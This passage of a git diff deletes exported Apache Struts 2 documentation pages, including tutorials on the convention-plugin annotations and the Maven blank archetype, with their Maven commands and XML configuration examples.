-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-2-annotations.data/Screen-shot-2010-10-24-at-10.51.45-AM.png b/content/docs/struts-2-annotations.data/Screen-shot-2010-10-24-at-10.51.45-AM.png
deleted file mode 100644
index 5fc9a8a..0000000
Binary files a/content/docs/struts-2-annotations.data/Screen-shot-2010-10-24-at-10.51.45-AM.png and /dev/null differ
diff --git a/content/docs/struts-2-annotations.html b/content/docs/struts-2-annotations.html
deleted file mode 100644
index cbf5148..0000000
--- a/content/docs/struts-2-annotations.html
+++ /dev/null
@@ -1,185 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 2 Annotations</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="struts-2-annotations.html">Struts 2 Annotations</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 2 Annotations</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=24184167">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=24184167">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=24184167">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=24184167">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=24184167">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=24184167">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The example code for this tutorial, annotations, is available for checkout at <a shape="rect" class="external-link" href="https://github.com/apache/struts-examples" rel="nofollow">https://github.com/apache/struts-examples< [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-convention-plugin&lt;/artifactId&gt;
-  &lt;version&gt;2.2.1&lt;/version&gt;
-&lt;/dependency&gt;
-
-</pre>
-</div></div><p>If you're using Ant then copy the struts2-convention-plugin jar file from the Struts 2 download to your WEB-INF/lib folder.</p><div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The convention plugin provide several different ways you can configure your Struts 2 application without using XML. Consult t [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">@Action("register-input")
-public String input() throws Exception {
-
-	logger.info("In input method of class Register");
-		
-	return INPUT;
-}
-
-</pre>
-</div></div><p>The Action annotation tells Struts 2 to execute the annotated method when the action link value equals the Action annotation's value ("register-input"). So a link of register-input.action will call the input method of class RegisterAction. On the example application's home page is a link to Register for the drawing with a URL of register-input.action.</p><p>The input method above returns "input". By the standards of the Convention plugin, the view page rendered will be reg [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.devMode" value="true" /&gt;
-
-</pre>
-</div></div><p>When we don't use a struts.xml file, we can set the value of these Struts 2 parameters by using filter parameters in web.xml:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts 2 Parameter Configurate web.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;filter&gt;
-  &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-    &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt;
-      &lt;init-param&gt;
-	  &lt;param-name&gt;struts.devMode&lt;/param-name&gt;
-	  &lt;param-value&gt;true&lt;/param-value&gt;
-      &lt;/init-param&gt;
-&lt;/filter&gt;
-
-</pre>
-</div></div><h3 id="Struts2Annotations-Summary">Summary</h3><p>We've just scratched the surface of what the Struts 2 convention plugin provides to reduce or eliminate the need to use an XML file to configure your Struts 2 application. The Struts 2 Convention plugin provides ways to map multiple actions to the same method, map results to different view pages, map errors to view pages, and much more. Be sure to read through the <a shape="rect" href="convention-plugin.html">Convention Plugi [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-2-blank-archetype.html b/content/docs/struts-2-blank-archetype.html
deleted file mode 100644
index d88c17f..0000000
--- a/content/docs/struts-2-blank-archetype.html
+++ /dev/null
@@ -1,319 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Struts 2 Blank Archetype</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-2-maven-archetypes.html">Struts 2 Maven Archetypes</a>&nbsp;&gt;&nbsp;<a href="struts-2-blank-archetype.html">Struts 2 Blank Archetype</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Struts 2 Blank Archetype</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=108834">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=108834">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=108834">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=108834">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=108834">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=108834">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-</p><p>The Struts 2 Blank Archetype ("blank-archetype") provides a minimal, but complete, Struts 2 application. It demonstrates some of the most basic Struts 2 concepts.</p>
-
-<h4 id="Struts2BlankArchetype-Features">Features</h4>
-
-<ul><li>XML-based configuration, demonstrates including additional config file</li><li>Example actions</li><li>Package-level resource bundle</li><li>XML-based validation</li><li>Unit-testing</li></ul>
-
-
-<p><strong>Contents</strong></p>
-
-<style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974180184 {padding: 0px;}
-div.rbtoc1488974180184 ul {list-style: none;margin-left: 0px;padding-left: 1em;}
-div.rbtoc1488974180184 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style><div class="toc-macro rbtoc1488974180184">
-<ul class="toc-indentation"><li><span class="TOCOutline">1</span> <a shape="rect" href="#Struts2BlankArchetype-CreatingOurblank-archetypeProject">Creating Our blank-archetype Project</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">1.1</span> <a shape="rect" href="#Struts2BlankArchetype-Stagingrepository">Staging repository</a></li></ul>
-</li><li><span class="TOCOutline">2</span> <a shape="rect" href="#Struts2BlankArchetype-ProjectStructure">Project Structure</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">2.1</span> <a shape="rect" href="#Struts2BlankArchetype-StructureDifferenceFromNon-MavenProjects">Structure Difference From Non-Maven Projects</a></li></ul>
-</li><li><span class="TOCOutline">3</span> <a shape="rect" href="#Struts2BlankArchetype-BuildingTheProject">Building The Project</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">3.1</span> <a shape="rect" href="#Struts2BlankArchetype-Compilation">Compilation</a></li><li><span class="TOCOutline">3.2</span> <a shape="rect" href="#Struts2BlankArchetype-Testing">Testing</a></li><li><span class="TOCOutline">3.3</span> <a shape="rect" href="#Struts2BlankArchetype-Assembling(CreatingaWAR)">Assembling (Creating a WAR)</a></li><li><span class="TOCOutline">3.4</span> <a shape="rect" href="#Struts2BlankArchetype-Runn [...]
-</li><li><span class="TOCOutline">4</span> <a shape="rect" href="#Struts2BlankArchetype-ApplicationDocumentation">Application Documentation</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">4.1</span> <a shape="rect" href="#Struts2BlankArchetype-ApplicationConfiguration">Application Configuration</a></li><li><span class="TOCOutline">4.2</span> <a shape="rect" href="#Struts2BlankArchetype-Welcome.action">Welcome.action</a></li><li><span class="TOCOutline">4.3</span> <a shape="rect" href="#Struts2BlankArchetype-HelloWorld.action">HelloWorld.action</a></li><li><span class="TOCOutline">4.4</span> <a shape="rect" href="#St [...]
-</li></ul>
-</div>
-
-<h2 id="Struts2BlankArchetype-CreatingOurblank-archetypeProject">Creating Our blank-archetype Project</h2>
-
-<p>We'll run the following command from our project's parent directory (this is shown using Unix-style commands).</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-$ mvn archetype:generate -B \
-                         -DgroupId=tutorial \
-                         -DartifactId=tutorial \
-                         -DarchetypeGroupId=org.apache.struts \
-                         -DarchetypeArtifactId=struts2-archetype-blank \
-                         -DarchetypeVersion=&lt;version&gt;
-$ ls
-tutorial/
-$ cd tutorial
-$ ls
-pom.xml         src/
-</pre>
-</div></div>
-
-<p>Depending on the state of your local system you may see Maven downloading various libraries (known as "downloading the internet", which is what it seems Maven does sometimes). Be patient--Maven is basically setting up your required libraries automatically.<br clear="none">
-<strong>&lt;version&gt;</strong> - is the version of Struts 2 you want to use and archetype was released for, eg. 2.1.8.1 .</p>
-
-<h3 id="Struts2BlankArchetype-Stagingrepository">Staging repository</h3>
-
-<p>If the above command will fail because of missing archetypes in central repository, you can try to use staging repository like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -B \
-                       -DgroupId=tutorial \
-                       -DartifactId=tutorial \
-                       -DarchetypeGroupId=org.apache.struts \
-                       -DarchetypeArtifactId=struts2-archetype-blank \
-                       -DarchetypeVersion=&lt;version&gt;
-                       -DarchetypeCatalog=http://people.apache.org/builds/struts/&lt;version&gt;/m2-staging-repository/ 
-</pre>
-</div></div>
-
-<h2 id="Struts2BlankArchetype-ProjectStructure">Project Structure</h2>
-
-<p>The source code structure follows the normal <a shape="rect" class="external-link" href="http://maven.apache.org/guides/introduction/introduction-to-the-standard-directory-layout.html">Maven directory structure</a>. The blank-archetype does not include all of the directories listed in the Maven structure reference page.</p>
-
-<p>Our project's structure looks like this:</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Directory </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description</p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>src</code> </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> All project source</p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>&#166;- main</code> </p></td><td colspan="1"  [...]
-
-
-<h3 id="Struts2BlankArchetype-StructureDifferenceFromNon-MavenProjects">Structure Difference From Non-Maven Projects</h3>
-
-<p>One big change for folks not used to the Maven structure is the separation of Java source code and resource files. For example, in a non-Maven project our directory structure might look like this:</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>src</code> </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> All project source</p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>&#166;- tutorial</code> </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Tutorial package</p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>&#166;&#160;&#160;`- [...]
-
-
-<p>It can take a little while to get used to, but ultimately it provides good separation of "types" of things, and becomes second-nature pretty quickly. Note that it's possible to use a non-Maven directory layout with Maven projects, but this can be challenging at some points.</p>
-
-<h2 id="Struts2BlankArchetype-BuildingTheProject">Building The Project</h2>
-
-<p>There are several different ways we can go about building our project, from simple compilation up to actually running the web application--all from within Maven.</p>
-
-<h3 id="Struts2BlankArchetype-Compilation">Compilation</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">$ mvn compile</pre>
-</div></div>
-
-<p>will create a <code>target</code> directory containing the compiled classes. By itself this isn't terribly useful.</p>
-
-
-<h3 id="Struts2BlankArchetype-Testing">Testing</h3>
-
-<p>Running</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">$ mvn test</pre>
-</div></div>
-
-<p>will compile the application and run the included unit tests. Blank-archetype's unit tests are <em>not</em> extensive, but provide a simple starting point for writing more complex, application-specific tests.</p>
-
-<p>One we've run the Maven test command we'll notice there's a <code>target/surefire-reports</code> directory. The <a shape="rect" class="external-link" href="http://maven.apache.org/plugins/maven-surefire-plugin/">Maven Surefire Plugin</a> is how Maven runs our unit tests. By default it will create test results in XML and text formats in the <code>target/surefire-reports</code> directory. These files can be examined to get further information regarding the failed tests.</p>
-
-<h3 id="Struts2BlankArchetype-Assembling(CreatingaWAR)">Assembling (Creating a WAR)</h3>
-
-<h3 id="Struts2BlankArchetype-Running">Running</h3>
-
-<p>We can run blank-archetype using the <a shape="rect" class="external-link" href="http://www.mortbay.org/jetty/" rel="nofollow">Jetty</a> server via the <a shape="rect" class="external-link" href="http://docs.codehaus.org/display/JETTY/Maven+Jetty+Plugin" rel="nofollow">Maven Jetty Plugin</a> by executing the Jetty plugin's <code>run</code> command:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">$ mvn jetty:run</pre>
-</div></div>
-
-<p>Once we've run the application we can see that it works by visiting <code>localhost:8080/tutorial/example/Welcome.action</code> as a sanity check.</p>
-
-<h2 id="Struts2BlankArchetype-ApplicationDocumentation">Application Documentation</h2>
-
-<p>The application consists of a few test actions demonstrating simple validation and package-level property (resource) files. The most interesting URLs are as follows (assuming we used <code>groupId=tutorial</code>):</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> URL </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description</p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>/tutorial/example/Welcome.action</code> </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Handled by wildcard mapping</p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <code>/tutorial/exa [...]
-
-
-<h3 id="Struts2BlankArchetype-ApplicationConfiguration">Application Configuration</h3>
-
-<p>The default Struts 2 configuration file is contained in <code>src/main/resources/struts.xml</code>. It includes an additional configuration file, <code>src/main/resources/example.xml</code>. The application's mappings are contained in the <code>example.xml</code> file. The <code>struts.xml</code> file sets some constants.</p>
-
-<p>See the <a shape="rect" href="strutsxml.html">struts.xml</a> page for more information about the <code>struts.xml</code> file. For more information regarding what's contained in typical <code>struts.xml</code> files start at the <a shape="rect" href="configuration-elements.html">Configuration Elements</a> page, which contains links to a bunch of information. See the <a shape="rect" href="configuration-files.html">Configuration Files</a> page for more information regarding additional S [...]
-
-<h3 id="Struts2BlankArchetype-Welcome.action"><code>Welcome.action</code></h3>
-
-<p>The mapping for this action is handled by a "catch-all" mapping in <code>example.xml</code>:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="*" class="tutorial2.example.ExampleSupport"&gt;
-  &lt;result&gt;/example/{1}.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>This mapping is the last mapping contained in <code>example.xml</code>--anything not handled by mappings appearing before it in <code>example.xml</code> will be caught by this mapping. This mapping will look for JSP files in <code>src/main/webapp/example/*.jsp</code>. Since there's a <code>Welcome.jsp</code> in that directory, we're all set. See the <a shape="rect" href="wildcard-mappings.html">Wildcard Mappings</a> page for more information on how Struts 2 can use wildcard mappings.</p>
-
-<h3 id="Struts2BlankArchetype-HelloWorld.action"><code>HelloWorld.action</code></h3>
-
-<p>The mapping executes the HelloWorld action, contained in <code>src/main/java/tutorial/example/HelloWorld.action</code>. This action retrieves a message from a package-level properties file, contained in <code>src/main/resources/tutorial/package.properties</code>. See the <a shape="rect" href="localization.html">Localization</a> page for more information about how Struts 2 handles message resources (it's pretty cool).</p>
-
-<h3 id="Struts2BlankArchetype-Login.action"><code>Login.action</code></h3>
-
-<p>This is another wildcard mapping:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="Login_*" method="{1}" class="tutorial2.example.Login"&gt;
-  &lt;result name="input"&gt;/example/Login.jsp&lt;/result&gt;
-  &lt;result type="redirectAction"&gt;Menu&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>In the application the Login action is reached via a link, but not directly to <code>/tutorial/example/Login.action</code>. The link is actually <code>/tutorial/example/Login_input.action</code>. Reaching the Login action this way bypasses validation: if we hit the Login action directly we'll get a validation error.</p>
-
-<p>The validation configuration is contained in <code>/src/main/resources/tutorial/example/Login-validation.xml</code>. It checks for the presence of the <code>username</code> and <code>password</code> properties (form values). It uses messages stored in the <code>package.properties</code> file (in the same directory). See the <a shape="rect" href="validation.html">Validation</a> page for more information regarding Struts 2 validation.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/struts-2-form-tags.data/Screen-shot-2010-04-25-at-8.39.59-AM.png b/content/docs/struts-2-form-tags.data/Screen-shot-2010-04-25-at-8.39.59-AM.png
deleted file mode 100644
index 3ae12c4..0000000
Binary files a/content/docs/struts-2-form-tags.data/Screen-shot-2010-04-25-at-8.39.59-AM.png and /dev/null differ
diff --git a/content/docs/struts-2-form-tags.html b/content/docs/struts-2-form-tags.html
deleted file mode 100644
index f8817b9..0000000
--- a/content/docs/struts-2-form-tags.html
+++ /dev/null
@@ -1,244 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
